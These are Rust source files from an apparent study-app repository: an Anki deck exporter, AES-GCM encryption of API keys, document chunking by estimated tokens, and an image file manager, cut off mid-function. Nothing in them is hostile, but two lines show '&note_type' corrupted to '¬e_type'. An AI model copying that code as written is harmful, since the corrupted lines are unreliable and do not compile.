let fields = format!("{}\x1f\x1f", cloze_text);
(fields, cloze_text)
}
_ => {
let clean_front = clean_template_placeholders(&card.front);
let clean_back = clean_template_placeholders(&card.back);
let fields = format!("{}\x1f{}", clean_front, clean_back);
(fields, clean_front)
}
}
};
// 清理tags中的模板占位符
let cleaned_tags: Vec<String> = card.tags.iter()
.map(|tag| clean_template_placeholders(tag))
.filter(|tag| !tag.is_empty()) // 过滤掉空标签
.collect();
let tags = cleaned_tags.join(" ");
let csum = field_checksum(&sort_field);
records.push((
note_id.to_string(),
guid,
fields,
csum,
tags,
));
}
Ok(records)
}
/// 导出卡片为.apkg文件
pub async fn export_cards_to_apkg(
cards: Vec<AnkiCard>,
deck_name: String,
note_type: String,
output_path: PathBuf,
) -> Result<(), String> {
export_cards_to_apkg_with_template(cards, deck_name, note_type, output_path, None).await
}
/// 导出卡片为.apkg文件（支持模板）
pub async fn export_cards_to_apkg_with_template(
cards: Vec<AnkiCard>,
deck_name: String,
note_type: String,
output_path: PathBuf,
template_config: Option<(String, Vec<String>, String, String, String)>, // (name, fields, front, back, css)
) -> Result<(), String> {
if cards.is_empty() {
return Err("没有卡片可以导出".to_string());
}
// 创建临时目录
let temp_dir = std::env::temp_dir().join(format!("anki_export_{}", Utc::now().timestamp()));
fs::create_dir_all(&temp_dir).map_err(|e| format!("创建临时目录失败: {}", e))?;
let db_path = temp_dir.join("collection.anki2");
// 确保输出目录存在
if let Some(parent) = output_path.parent() {
fs::create_dir_all(parent).map_err(|e| format!("创建输出目录失败: {}", e))?;
}
let result = async move {
// 创建并初始化数据库
let conn = Connection::open(&db_path)
.map_err(|e| format!("创建数据库失败: {}", e))?;
let (deck_id, model_id) = initialize_anki_database_with_template(&conn, &deck_name, ¬e_type, template_config.clone())
.map_err(|e| format!("初始化数据库失败: {}", e))?;
// 转换卡片数据
let template_fields_ref = template_config.as_ref().map(|(_, fields, _, _, _)| fields.as_slice());
let records = convert_cards_to_anki_records_with_fields(cards, deck_id, model_id, ¬e_type, template_fields_ref)?;
let now = Utc::now().timestamp();
// 插入笔记和卡片
for (i, (note_id, guid, fields, csum, tags)) in records.iter().enumerate() {
// 插入笔记
conn.execute(
"INSERT INTO notes (id, guid, mid, mod, usn, tags, flds, sfld, csum, flags, data) VALUES (?, ?, ?, ?, -1, ?, ?, ?, ?, 0, '')",
params![
note_id.parse::<i64>().unwrap(),
guid,
model_id,
now,
tags,
fields,
"", // sfld 会在后面更新
csum
]
).map_err(|e| format!("插入笔记失败: {}", e))?;
// 为每个笔记创建卡片（Basic类型通常只有一张卡片）
let card_id = note_id.parse::<i64>().unwrap() * 100 + i as i64;
conn.execute(
"INSERT INTO cards (id, nid, did, ord, mod, usn, type, queue, due, ivl, factor, reps, lapses, left, odue, odid, flags, data) VALUES (?, ?, ?, 0, ?, -1, 0, 0, ?, 0, 2500, 0, 0, 0, 0, 0, 0, '')",
params![
card_id,
note_id.parse::<i64>().unwrap(),
deck_id,
now,
i as i64 + 1 // due date
]
).map_err(|e| format!("插入卡片失败: {}", e))?;
}
conn.close().map_err(|e| format!("关闭数据库失败: {:?}", e))?;
// 创建.apkg文件（实际上是一个zip文件）
let output_file = File::create(&output_path)
.map_err(|e| format!("创建输出文件失败: {}", e))?;
let mut zip = ZipWriter::new(output_file);
// 添加数据库文件到zip
let db_content = fs::read(&db_path)
.map_err(|e| format!("读取数据库文件失败: {}", e))?;
zip.start_file("collection.anki2", FileOptions::default())
.map_err(|e| format!("创建zip文件条目失败: {}", e))?;
zip.write_all(&db_content)
.map_err(|e| format!("写入数据库到zip失败: {}", e))?;
// 创建媒体文件列表（空的）
zip.start_file("media", FileOptions::default())
.map_err(|e| format!("创建媒体文件条目失败: {}", e))?;
zip.write_all(b"{}")
.map_err(|e| format!("写入媒体文件列表失败: {}", e))?;
zip.finish()
.map_err(|e| format!("完成zip文件失败: {}", e))?;
Ok(())
}.await;
// 清理临时文件
if temp_dir.exists() {
if let Err(e) = fs::remove_dir_all(&temp_dir) {
println!("警告：清理临时目录失败: {}", e);
}
}
result
}
|
000haoji/deep-student
| 9,386 |
src-tauri/src/crypto.rs
|
use aes_gcm::{
aead::{Aead, AeadCore, KeyInit, OsRng},
Aes256Gcm, Nonce, Key
};
use base64::{Engine as _, engine::general_purpose};
use keyring::Entry;
use rand::RngCore;
use serde::{Deserialize, Serialize};
use std::path::PathBuf;
#[derive(Debug, Serialize, Deserialize)]
pub struct EncryptedData {
pub ciphertext: String,
pub nonce: String,
}
pub struct CryptoService {
cipher: Aes256Gcm,
keyring_service: String,
keyring_user: String,
}
impl CryptoService {
/// 创建新的加密服务实例
pub fn new(app_data_dir: &PathBuf) -> Result<Self, String> {
let keyring_service = "ai-mistake-manager";
let keyring_user = "master-key";
// 获取或创建主密钥
let key = Self::get_or_create_master_key(&keyring_service, &keyring_user, app_data_dir)?;
let cipher = Aes256Gcm::new(&key);
Ok(CryptoService {
cipher,
keyring_service: keyring_service.to_string(),
keyring_user: keyring_user.to_string(),
})
}
/// 加密API密钥
pub fn encrypt_api_key(&self, api_key: &str) -> Result<EncryptedData, String> {
let nonce = Aes256Gcm::generate_nonce(&mut OsRng);
let ciphertext = self.cipher
.encrypt(&nonce, api_key.as_bytes())
.map_err(|e| format!("加密失败: {}", e))?;
Ok(EncryptedData {
ciphertext: general_purpose::STANDARD.encode(&ciphertext),
nonce: general_purpose::STANDARD.encode(&nonce),
})
}
/// 解密API密钥
pub fn decrypt_api_key(&self, encrypted_data: &EncryptedData) -> Result<String, String> {
let ciphertext = general_purpose::STANDARD
.decode(&encrypted_data.ciphertext)
.map_err(|e| format!("Base64解码失败: {}", e))?;
let nonce_bytes = general_purpose::STANDARD
.decode(&encrypted_data.nonce)
.map_err(|e| format!("Nonce解码失败: {}", e))?;
let nonce = Nonce::from_slice(&nonce_bytes);
let plaintext = self.cipher
.decrypt(nonce, ciphertext.as_ref())
.map_err(|e| format!("解密失败: {}", e))?;
String::from_utf8(plaintext)
.map_err(|e| format!("UTF-8转换失败: {}", e))
}
/// 获取或创建主密钥（使用操作系统密钥存储）
fn get_or_create_master_key(service: &str, user: &str, app_data_dir: &PathBuf) -> Result<Key<Aes256Gcm>, String> {
// 尝试从操作系统密钥存储中获取密钥
match Entry::new(service, user) {
Ok(entry) => {
// 首先尝试从密钥存储中获取现有密钥
match entry.get_password() {
Ok(stored_key) => {
// 验证密钥格式和长度
if let Ok(key_bytes) = general_purpose::STANDARD.decode(&stored_key) {
if key_bytes.len() == 32 {
println!("✅ 从操作系统密钥存储中成功加载主密钥");
return Ok(*Key::<Aes256Gcm>::from_slice(&key_bytes));
}
}
println!("⚠️ 密钥存储中的密钥格式无效，重新生成新密钥");
}
Err(_) => {
println!("📝 密钥存储中未找到密钥，生成新的主密钥");
}
}
// 生成新的随机主密钥
let mut key_bytes = [0u8; 32];
OsRng.fill_bytes(&mut key_bytes);
// 将密钥保存到操作系统密钥存储
let key_b64 = general_purpose::STANDARD.encode(&key_bytes);
if let Err(e) = entry.set_password(&key_b64) {
println!("⚠️ 无法保存密钥到操作系统密钥存储: {}", e);
// 回退到文件存储
return Self::get_or_create_file_based_key(app_data_dir);
}
println!("✅ 新主密钥已生成并保存到操作系统密钥存储");
Ok(*Key::<Aes256Gcm>::from_slice(&key_bytes))
}
Err(e) => {
println!("⚠️ 无法访问操作系统密钥存储 ({}), 回退到文件存储", e);
// 回退到基于文件的密钥存储
Self::get_or_create_file_based_key(app_data_dir)
}
}
}
/// 基于文件的密钥存储（回退方案）
fn get_or_create_file_based_key(app_data_dir: &PathBuf) -> Result<Key<Aes256Gcm>, String> {
let key_file_path = app_data_dir.join(".master_key");
// 尝试读取现有密钥文件
if key_file_path.exists() {
match std::fs::read_to_string(&key_file_path) {
Ok(key_content) => {
if let Ok(key_bytes) = general_purpose::STANDARD.decode(&key_content) {
if key_bytes.len() == 32 {
println!("✅ 从文件加载主密钥: {:?}", key_file_path);
return Ok(*Key::<Aes256Gcm>::from_slice(&key_bytes));
}
}
println!("⚠️ 密钥文件格式无效，重新生成");
}
Err(e) => {
println!("⚠️ 无法读取密钥文件: {}", e);
}
}
}
// 生成新的随机主密钥
let mut key_bytes = [0u8; 32];
OsRng.fill_bytes(&mut key_bytes);
// 保存到文件（设置适当的权限）
let key_b64 = general_purpose::STANDARD.encode(&key_bytes);
std::fs::create_dir_all(app_data_dir)
.map_err(|e| format!("无法创建应用数据目录: {}", e))?;
std::fs::write(&key_file_path, &key_b64)
.map_err(|e| format!("无法保存密钥文件: {}", e))?;
// 在Unix系统上设置文件权限为仅所有者可读
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let metadata = std::fs::metadata(&key_file_path)
.map_err(|e| format!("无法获取密钥文件元数据: {}", e))?;
let mut permissions = metadata.permissions();
permissions.set_mode(0o600); // 仅所有者读写
std::fs::set_permissions(&key_file_path, permissions)
.map_err(|e| format!("无法设置密钥文件权限: {}", e))?;
}
println!("✅ 新主密钥已生成并保存到文件: {:?}", key_file_path);
Ok(*Key::<Aes256Gcm>::from_slice(&key_bytes))
}
/// 检查是否为加密数据格式
pub fn is_encrypted_format(data: &str) -> bool {
// 简单检查是否为JSON格式且包含必要字段
if let Ok(parsed) = serde_json::from_str::<EncryptedData>(data) {
!parsed.ciphertext.is_empty() && !parsed.nonce.is_empty()
} else {
false
}
}
/// 迁移明文API密钥到加密格式
pub fn migrate_plaintext_key(&self, plaintext_key: &str) -> Result<String, String> {
let encrypted_data = self.encrypt_api_key(plaintext_key)?;
serde_json::to_string(&encrypted_data)
.map_err(|e| format!("序列化失败: {}", e))
}
/// 轮换主密钥（高级安全操作）
pub fn rotate_master_key(&self, app_data_dir: &PathBuf) -> Result<CryptoService, String> {
println!("🔄 开始轮换主密钥...");
// 删除现有密钥存储
if let Ok(entry) = Entry::new(&self.keyring_service, &self.keyring_user) {
let _ = entry.delete_password(); // 忽略删除错误
}
// 删除文件存储的密钥
let key_file_path = app_data_dir.join(".master_key");
if key_file_path.exists() {
std::fs::remove_file(&key_file_path)
.map_err(|e| format!("无法删除旧密钥文件: {}", e))?;
}
// 创建新的加密服务实例（会生成新的主密钥）
let new_service = CryptoService::new(app_data_dir)?;
println!("✅ 主密钥轮换完成");
Ok(new_service)
}
/// 验证密钥完整性
pub fn verify_key_integrity(&self) -> Result<bool, String> {
// 通过加密解密测试来验证密钥完整性
let test_data = "integrity-test-data";
match self.encrypt_api_key(test_data) {
Ok(encrypted) => {
match self.decrypt_api_key(&encrypted) {
Ok(decrypted) => Ok(decrypted == test_data),
Err(e) => Err(format!("解密测试失败: {}", e)),
}
}
Err(e) => Err(format!("加密测试失败: {}", e)),
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::env;
#[test]
fn test_encrypt_decrypt_cycle() {
let temp_dir = env::temp_dir().join("crypto_test");
let crypto = CryptoService::new(&temp_dir).unwrap();
let original = "sk-test-api-key-12345";
let encrypted = crypto.encrypt_api_key(original).unwrap();
let decrypted = crypto.decrypt_api_key(&encrypted).unwrap();
assert_eq!(original, decrypted);
// 清理测试文件
let _ = std::fs::remove_dir_all(&temp_dir);
}
#[test]
fn test_is_encrypted_format() {
assert!(!CryptoService::is_encrypted_format("plain-text-key"));
let temp_dir = env::temp_dir().join("crypto_test_format");
let crypto = CryptoService::new(&temp_dir).unwrap();
let encrypted = crypto.encrypt_api_key("test-key").unwrap();
let encrypted_json = serde_json::to_string(&encrypted).unwrap();
assert!(CryptoService::is_encrypted_format(&encrypted_json));
// 清理测试文件
let _ = std::fs::remove_dir_all(&temp_dir);
}
#[test]
fn test_key_integrity() {
let temp_dir = env::temp_dir().join("crypto_test_integrity");
let crypto = CryptoService::new(&temp_dir).unwrap();
assert!(crypto.verify_key_integrity().unwrap());
// 清理测试文件
let _ = std::fs::remove_dir_all(&temp_dir);
}
}
|
000haoji/deep-student
| 15,555 |
src-tauri/src/document_processing_service.rs
|
use crate::models::{DocumentTask, TaskStatus, AnkiGenerationOptions, AppError};
use crate::database::Database;
use std::sync::Arc;
use uuid::Uuid;
use chrono::Utc;
pub struct DocumentProcessingService {
db: Arc<Database>,
}
impl DocumentProcessingService {
pub fn new(db: Arc<Database>) -> Self {
Self { db }
}
/// 处理文档并创建分段任务
pub async fn process_document_and_create_tasks(
&self,
document_content: String,
original_document_name: String,
subject_name: String,
options: AnkiGenerationOptions,
) -> Result<(String, Vec<DocumentTask>), AppError> {
let document_id = Uuid::new_v4().to_string();
// 分段文档
let segments = self.segment_document(&document_content, &options)?;
let mut tasks = Vec::new();
let anki_options_json = serde_json::to_string(&options)
.map_err(|e| AppError::validation(format!("序列化AnkiGenerationOptions失败: {}", e)))?;
let now = Utc::now().to_rfc3339();
for (index, segment) in segments.into_iter().enumerate() {
let task = DocumentTask {
id: Uuid::new_v4().to_string(),
document_id: document_id.clone(),
original_document_name: original_document_name.clone(),
segment_index: index as u32,
content_segment: segment,
status: TaskStatus::Pending,
created_at: now.clone(),
updated_at: now.clone(),
error_message: None,
subject_name: subject_name.clone(),
anki_generation_options_json: anki_options_json.clone(),
};
// 保存到数据库
self.db.insert_document_task(&task)
.map_err(|e| AppError::database(format!("保存文档任务失败: {}", e)))?;
tasks.push(task);
}
Ok((document_id, tasks))
}
/// 文档分段逻辑
fn segment_document(
&self,
content: &str,
options: &AnkiGenerationOptions,
) -> Result<Vec<String>, AppError> {
// 配置分段参数
let max_tokens_per_segment = self.calculate_max_tokens_per_segment(options);
let estimated_content_tokens = self.estimate_tokens(content);
// 如果内容较短，不需要分段
if estimated_content_tokens <= max_tokens_per_segment {
return Ok(vec![content.to_string()]);
}
let overlap_size = options.segment_overlap_size as usize;
println!("[DOCUMENT_DEBUG] 文档分段: 估计{}tokens，每段最大{}tokens，重叠区域{}字符",
estimated_content_tokens, max_tokens_per_segment, overlap_size);
println!("[DOCUMENT_DEBUG] 用户设置: 每个主题最大卡片数={}, 总体令牌限制={:?}",
options.max_cards_per_mistake, options.max_tokens);
// 使用重叠分段策略
let segments = if overlap_size > 0 {
self.segment_with_overlap(content, max_tokens_per_segment, overlap_size)?
} else {
self.segment_without_overlap(content, max_tokens_per_segment)?
};
println!("[DOCUMENT_DEBUG] 文档分段完成: {}个分段", segments.len());
for (i, segment) in segments.iter().enumerate() {
let segment_tokens = self.estimate_tokens(segment);
println!("[DOCUMENT_DEBUG] 分段{}: {}字符, 估计{}tokens", i+1, segment.len(), segment_tokens);
}
Ok(segments)
}
/// 分割过长的段落
fn split_long_paragraph(&self, paragraph: &str, max_tokens: usize) -> Result<Vec<String>, AppError> {
// 按句子分割
let sentences: Vec<&str> = paragraph.split_inclusive(&['.', '!', '?', '。', '！', '？'])
.filter(|s| !s.trim().is_empty())
.collect();
let mut segments = Vec::new();
let mut current_segment = String::new();
let mut current_tokens = 0;
for sentence in sentences {
let sentence_tokens = self.estimate_tokens(sentence);
// 如果单个句子就超过限制，按字符数强制分割
if sentence_tokens > max_tokens {
// 先保存当前分段
if !current_segment.is_empty() {
segments.push(current_segment.trim().to_string());
current_segment.clear();
current_tokens = 0;
}
// 按字符数分割长句子
let char_segments = self.split_by_characters(sentence, max_tokens);
segments.extend(char_segments);
continue;
}
if current_tokens + sentence_tokens > max_tokens && !current_segment.is_empty() {
segments.push(current_segment.trim().to_string());
current_segment = sentence.to_string();
current_tokens = sentence_tokens;
} else {
current_segment.push_str(sentence);
current_tokens += sentence_tokens;
}
}
if !current_segment.is_empty() {
segments.push(current_segment.trim().to_string());
}
Ok(segments)
}
/// 按字符数强制分割
fn split_by_characters(&self, text: &str, max_tokens: usize) -> Vec<String> {
// 粗略估计：1个token ≈ 1.5个中文字符 或 4个英文字符
let max_chars = max_tokens * 2; // 保守估计
let mut segments = Vec::new();
let chars: Vec<char> = text.chars().collect();
let mut start = 0;
while start < chars.len() {
let end = std::cmp::min(start + max_chars, chars.len());
let segment: String = chars[start..end].iter().collect();
segments.push(segment);
start = end;
}
segments
}
/// 估算文本的token数量
fn estimate_tokens(&self, text: &str) -> usize {
// 简单的token估算算法
// 更精确的实现可以使用tiktoken_rs库
let char_count = text.chars().count();
let word_count = text.split_whitespace().count();
// 中文字符 ≈ 1 token per character
// 英文单词 ≈ 1.3 tokens per word
// 标点符号和空格 ≈ 0.2 tokens each
let chinese_chars = text.chars().filter(|c| {
let code = *c as u32;
(0x4E00..=0x9FFF).contains(&code) // 基本汉字范围
}).count();
let other_chars = char_count - chinese_chars;
let estimated_tokens = chinese_chars + (word_count as f32 * 1.3) as usize + (other_chars as f32 * 0.2) as usize;
std::cmp::max(estimated_tokens, char_count / 4) // 最少不低于字符数的1/4
}
/// 计算每个分段的最大token数
fn calculate_max_tokens_per_segment(&self, options: &AnkiGenerationOptions) -> usize {
// 根据API配置或选项确定分段大小
// 默认值：2000 tokens per segment
let base_limit = 2000;
// 如果用户设置了较小的max_tokens，相应调整分段大小
if let Some(max_tokens) = options.max_output_tokens_override.or(options.max_tokens.map(|t| t as u32)) {
if max_tokens < 4000 {
// 如果输出限制较小，输入也应该相应减少
return std::cmp::min(base_limit, (max_tokens / 2) as usize);
}
}
base_limit
}
/// 获取文档的所有任务
pub fn get_document_tasks(&self, document_id: &str) -> Result<Vec<DocumentTask>, AppError> {
self.db.get_tasks_for_document(document_id)
.map_err(|e| AppError::database(format!("获取文档任务失败: {}", e)))
}
/// 更新任务状态
pub fn update_task_status(
&self,
task_id: &str,
status: TaskStatus,
error_message: Option<String>,
) -> Result<(), AppError> {
self.db.update_document_task_status(task_id, status, error_message)
.map_err(|e| AppError::database(format!("更新任务状态失败: {}", e)))
}
/// 获取单个任务
pub fn get_task(&self, task_id: &str) -> Result<DocumentTask, AppError> {
self.db.get_document_task(task_id)
.map_err(|e| AppError::database(format!("获取任务失败: {}", e)))
}
/// 删除文档及其所有任务
pub fn delete_document(&self, document_id: &str) -> Result<(), AppError> {
self.db.delete_document_session(document_id)
.map_err(|e| AppError::database(format!("删除文档失败: {}", e)))
}
/// 无重叠的文档分段（原始逻辑）
fn segment_without_overlap(
&self,
content: &str,
max_tokens_per_segment: usize,
) -> Result<Vec<String>, AppError> {
// 按自然段落分割
let paragraphs: Vec<&str> = content.split("\n\n")
.filter(|p| !p.trim().is_empty())
.collect();
let mut segments = Vec::new();
let mut current_segment = String::new();
let mut current_tokens = 0;
for paragraph in paragraphs {
let paragraph_tokens = self.estimate_tokens(paragraph);
// 如果单个段落就超过限制，需要进一步分割
if paragraph_tokens > max_tokens_per_segment {
// 先保存当前分段（如果有内容）
if !current_segment.is_empty() {
segments.push(current_segment.trim().to_string());
current_segment.clear();
current_tokens = 0;
}
// 分割长段落
let sub_segments = self.split_long_paragraph(paragraph, max_tokens_per_segment)?;
segments.extend(sub_segments);
continue;
}
// 检查添加这个段落是否会超出限制
if current_tokens + paragraph_tokens > max_tokens_per_segment && !current_segment.is_empty() {
// 保存当前分段并开始新分段
segments.push(current_segment.trim().to_string());
current_segment = paragraph.to_string();
current_tokens = paragraph_tokens;
} else {
// 添加到当前分段
if !current_segment.is_empty() {
current_segment.push_str("\n\n");
}
current_segment.push_str(paragraph);
current_tokens += paragraph_tokens;
}
}
// 添加最后一个分段
if !current_segment.is_empty() {
segments.push(current_segment.trim().to_string());
}
// 确保至少有一个分段
if segments.is_empty() {
segments.push(content.to_string());
}
Ok(segments)
}
/// 带重叠的文档分段
fn segment_with_overlap(
&self,
content: &str,
max_tokens_per_segment: usize,
overlap_size: usize,
) -> Result<Vec<String>, AppError> {
// 首先进行无重叠分段
let base_segments = self.segment_without_overlap(content, max_tokens_per_segment)?;
// 如果只有一个分段，不需要重叠
if base_segments.len() <= 1 {
return Ok(base_segments);
}
println!("[DOCUMENT_DEBUG] 应用重叠策略，基础分段数: {}", base_segments.len());
let mut overlapped_segments = Vec::new();
for (i, segment) in base_segments.iter().enumerate() {
let mut final_segment = segment.clone();
// 为非第一个分段添加前重叠
if i > 0 {
let prev_segment = &base_segments[i - 1];
if let Some(overlap_prefix) = self.get_overlap_suffix(prev_segment, overlap_size) {
final_segment = format!("{}\n\n{}", overlap_prefix, final_segment);
println!("[DOCUMENT_DEBUG] 分段{}添加前重叠: {}字符", i+1, overlap_prefix.len());
}
}
// 为非最后一个分段添加后重叠
if i < base_segments.len() - 1 {
let next_segment = &base_segments[i + 1];
if let Some(overlap_suffix) = self.get_overlap_prefix(next_segment, overlap_size) {
final_segment = format!("{}\n\n{}", final_segment, overlap_suffix);
println!("[DOCUMENT_DEBUG] 分段{}添加后重叠: {}字符", i+1, overlap_suffix.len());
}
}
overlapped_segments.push(final_segment);
}
println!("[DOCUMENT_DEBUG] 重叠处理完成，最终分段数: {}", overlapped_segments.len());
Ok(overlapped_segments)
}
/// 将字节索引转换为字符索引
fn byte_index_to_char_index(&self, text: &str, byte_index: usize) -> usize {
text.char_indices().take_while(|(i, _)| *i <= byte_index).count() - 1
}
/// 获取文本的前缀（用于重叠）
fn get_overlap_prefix(&self, text: &str, max_chars: usize) -> Option<String> {
let char_count = text.chars().count();
if char_count <= max_chars {
return Some(text.to_string());
}
// 安全地获取前缀（按字符数而非字节数）
let prefix: String = text.chars().take(max_chars).collect();
// 尝试在句子边界处截断
if let Some(last_sentence_end_bytes) = prefix.rfind(&['.', '!', '?', '。', '！', '？'][..]) {
let last_sentence_end_chars = self.byte_index_to_char_index(&prefix, last_sentence_end_bytes);
if last_sentence_end_chars > max_chars / 2 { // 确保不会截断太多
return Some(prefix.chars().take(last_sentence_end_chars + 1).collect());
}
}
// 尝试在段落边界处截断
if let Some(last_paragraph_end_bytes) = prefix.rfind("\n\n") {
let last_paragraph_end_chars = self.byte_index_to_char_index(&prefix, last_paragraph_end_bytes);
if last_paragraph_end_chars > max_chars / 2 {
return Some(prefix.chars().take(last_paragraph_end_chars).collect());
}
}
// 尝试在词边界处截断
if let Some(last_space_bytes) = prefix.rfind(' ') {
let last_space_chars = self.byte_index_to_char_index(&prefix, last_space_bytes);
if last_space_chars > max_chars / 2 {
return Some(prefix.chars().take(last_space_chars).collect());
}
}
// 最后选择：直接返回安全截断的前缀
Some(prefix)
}
/// 获取文本的后缀（用于重叠）
fn get_overlap_suffix(&self, text: &str, max_chars: usize) -> Option<String> {
let char_count = text.chars().count();
if char_count <= max_chars {
return Some(text.to_string());
}
// 安全地获取后缀（按字符数而非字节数）
let suffix: String = text.chars().skip(char_count - max_chars).collect();
// 尝试在句子边界处开始
if let Some(first_sentence_start_bytes) = suffix.find(&['.', '!', '?', '。', '！', '？'][..]) {
let first_sentence_start_chars = self.byte_index_to_char_index(&suffix, first_sentence_start_bytes);
let remaining: String = suffix.chars().skip(first_sentence_start_chars + 1).collect();
if remaining.chars().count() > max_chars / 2 { // 确保不会截断太多
return Some(remaining.trim().to_string());
}
}
// 尝试在段落边界处开始
if let Some(first_paragraph_start_bytes) = suffix.find("\n\n") {
let first_paragraph_start_chars = self.byte_index_to_char_index(&suffix, first_paragraph_start_bytes);
let remaining: String = suffix.chars().skip(first_paragraph_start_chars + 2).collect();
if remaining.chars().count() > max_chars / 2 {
return Some(remaining.to_string());
}
}
// 尝试在词边界处开始
if let Some(first_space_bytes) = suffix.find(' ') {
let first_space_chars = self.byte_index_to_char_index(&suffix, first_space_bytes);
let remaining: String = suffix.chars().skip(first_space_chars + 1).collect();
if remaining.chars().count() > max_chars / 2 {
return Some(remaining.to_string());
}
}
// 最后选择：直接返回安全截断的后缀
Some(suffix)
}
}
|
000haoji/deep-student
| 22,935 |
src-tauri/src/file_manager.rs
|
use std::fs;
use std::path::{Path, PathBuf};
use std::io::Write;
use tokio::fs as async_fs;
// use tokio::io::AsyncWriteExt; // Removed unused import
use base64::{Engine as _, engine::general_purpose};
use uuid::Uuid;
use crate::models::AppError;
use serde::{Serialize, Deserialize};
use std::collections::HashMap;
type Result<T> = std::result::Result<T, AppError>;
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ImageStatistics {
pub total_files: u64,
pub total_size_bytes: u64,
pub file_types: HashMap<String, u32>, // extension -> count
pub oldest_file: Option<u64>, // timestamp
pub newest_file: Option<u64>, // timestamp
}
pub struct FileManager {
app_data_dir: PathBuf,
images_dir: PathBuf,
}
impl FileManager {
/// 创建新的文件管理器
pub fn new(app_data_dir: PathBuf) -> Result<Self> {
let images_dir = app_data_dir.join("images");
println!("初始化文件管理器: {:?}", app_data_dir);
Ok(FileManager {
app_data_dir,
images_dir,
})
}
/// 获取数据库路径
pub fn get_database_path(&self) -> PathBuf {
self.app_data_dir.join("mistakes.db")
}
/// 保存base64编码的图片文件
pub async fn save_image_from_base64(&self, base64_data: &str, filename: &str) -> Result<String> {
println!("保存图片文件: {}", filename);
// 确保图片目录存在
async_fs::create_dir_all(&self.images_dir).await
.map_err(|e| AppError::file_system(format!("创建图片目录失败: {}", e)))?;
// 解析base64数据
let data_url_prefix = "data:image/";
let base64_start = if base64_data.starts_with(data_url_prefix) {
base64_data.find("base64,")
.ok_or_else(|| AppError::validation("无效的base64数据格式"))?
+ 7 // "base64,".len()
} else {
0
};
let base64_content = &base64_data[base64_start..];
let image_bytes = general_purpose::STANDARD
.decode(base64_content)
.map_err(|e| AppError::validation(format!("base64解码失败: {}", e)))?;
// 保存文件
let file_path = self.images_dir.join(filename);
async_fs::write(&file_path, image_bytes).await
.map_err(|e| AppError::file_system(format!("保存图片文件失败: {}", e)))?;
// 返回相对路径
Ok(format!("images/{}", filename))
}
/// 读取图片文件为base64（用于统一AI接口）
pub fn read_file_as_base64(&self, relative_path: &str) -> Result<String> {
println!("读取图片文件为base64: {}", relative_path);
let file_path = self.app_data_dir.join(relative_path);
if !file_path.exists() {
return Err(AppError::not_found(format!("图片文件不存在: {}", relative_path)));
}
let image_bytes = fs::read(&file_path)
.map_err(|e| AppError::file_system(format!("读取图片文件失败: {}", e)))?;
let base64_content = general_purpose::STANDARD.encode(&image_bytes);
Ok(base64_content)
}
/// 读取图片文件为base64（带MIME类型）
pub async fn get_image_as_base64(&self, relative_path: &str) -> Result<String> {
println!("读取图片文件: {}", relative_path);
let file_path = self.app_data_dir.join(relative_path);
if !async_fs::try_exists(&file_path).await
.map_err(|e| AppError::file_system(format!("检查文件存在性失败: {}", e)))? {
return Err(AppError::not_found(format!("图片文件不存在: {}", relative_path)));
}
let image_bytes = async_fs::read(&file_path).await
.map_err(|e| AppError::file_system(format!("读取图片文件失败: {}", e)))?;
let base64_content = general_purpose::STANDARD.encode(&image_bytes);
// 根据文件扩展名确定MIME类型
let mime_type = if relative_path.ends_with(".png") {
"image/png"
} else if relative_path.ends_with(".gif") {
"image/gif"
} else {
"image/jpeg"
};
Ok(format!("data:{};base64,{}", mime_type, base64_content))
}
/// 删除图片文件
pub async fn delete_image(&self, relative_path: &str) -> Result<()> {
println!("删除图片文件: {}", relative_path);
let file_path = self.app_data_dir.join(relative_path);
if async_fs::try_exists(&file_path).await
.map_err(|e| AppError::file_system(format!("检查文件存在性失败: {}", e)))? {
async_fs::remove_file(&file_path).await
.map_err(|e| AppError::file_system(format!("删除图片文件失败: {}", e)))?;
}
Ok(())
}
/// 删除多个图片文件
pub fn delete_images(&self, relative_paths: &[String]) -> Result<()> {
println!("删除多个图片文件: {} 个", relative_paths.len());
for path in relative_paths {
let file_path = self.app_data_dir.join(path);
if file_path.exists() {
fs::remove_file(&file_path)
.map_err(|e| AppError::file_system(format!("删除图片文件失败: {}", e)))?;
}
}
Ok(())
}
/// 清理孤立的图片文件
pub async fn cleanup_orphaned_images(&self, database: &crate::database::Database) -> Result<Vec<String>> {
println!("开始清理孤立图片文件");
if !async_fs::try_exists(&self.images_dir).await
.map_err(|e| AppError::file_system(format!("检查图片目录存在性失败: {}", e)))? {
println!("图片目录不存在，跳过清理");
return Ok(vec![]);
}
let mut cleaned_files = Vec::new();
// 1. 收集所有物理图片文件
let mut all_physical_files = std::collections::HashSet::new();
let mut entries = async_fs::read_dir(&self.images_dir).await
.map_err(|e| AppError::file_system(format!("读取图片目录失败: {}", e)))?;
while let Some(entry) = entries.next_entry().await
.map_err(|e| AppError::file_system(format!("读取目录条目失败: {}", e)))? {
let path = entry.path();
if path.is_file() {
if let Some(filename) = path.file_name().and_then(|n| n.to_str()) {
// 构建相对路径（相对于app_data_dir）
let relative_path = format!("images/{}", filename);
all_physical_files.insert(relative_path);
}
}
}
println!("发现 {} 个物理图片文件", all_physical_files.len());
// 2. 从数据库获取所有被引用的图片路径
let referenced_images = self.get_referenced_images(database)?;
println!("数据库中引用了 {} 个图片文件", referenced_images.len());
// 3. 找出孤立的图片文件
for physical_file in &all_physical_files {
if !referenced_images.contains(physical_file) {
println!("发现孤立图片文件: {}", physical_file);
// 删除孤立文件
let full_path = self.app_data_dir.join(physical_file);
match async_fs::remove_file(&full_path).await {
Ok(()) => {
cleaned_files.push(physical_file.clone());
println!("已删除孤立图片: {}", physical_file);
}
Err(e) => {
println!("删除孤立图片失败: {} - {}", physical_file, e);
}
}
}
}
// 4. 清理空的子目录
self.cleanup_empty_directories().await?;
println!("清理完成，删除了 {} 个孤立图片文件", cleaned_files.len());
Ok(cleaned_files)
}
/// 从数据库获取所有被引用的图片路径
fn get_referenced_images(&self, database: &crate::database::Database) -> Result<std::collections::HashSet<String>> {
use rusqlite::params;
let conn = database.conn().lock().map_err(|_| AppError::database("获取数据库连接失败".to_string()))?;
let mut referenced_images = std::collections::HashSet::new();
// 查询所有错题的图片路径
let mut stmt = conn.prepare("SELECT question_images, analysis_images FROM mistakes")
.map_err(|e| AppError::database(format!("准备查询语句失败: {}", e)))?;
let rows = stmt.query_map(params![], |row| {
let question_images: String = row.get(0)?;
let analysis_images: String = row.get(1)?;
Ok((question_images, analysis_images))
}).map_err(|e| AppError::database(format!("执行查询失败: {}", e)))?;
for row_result in rows {
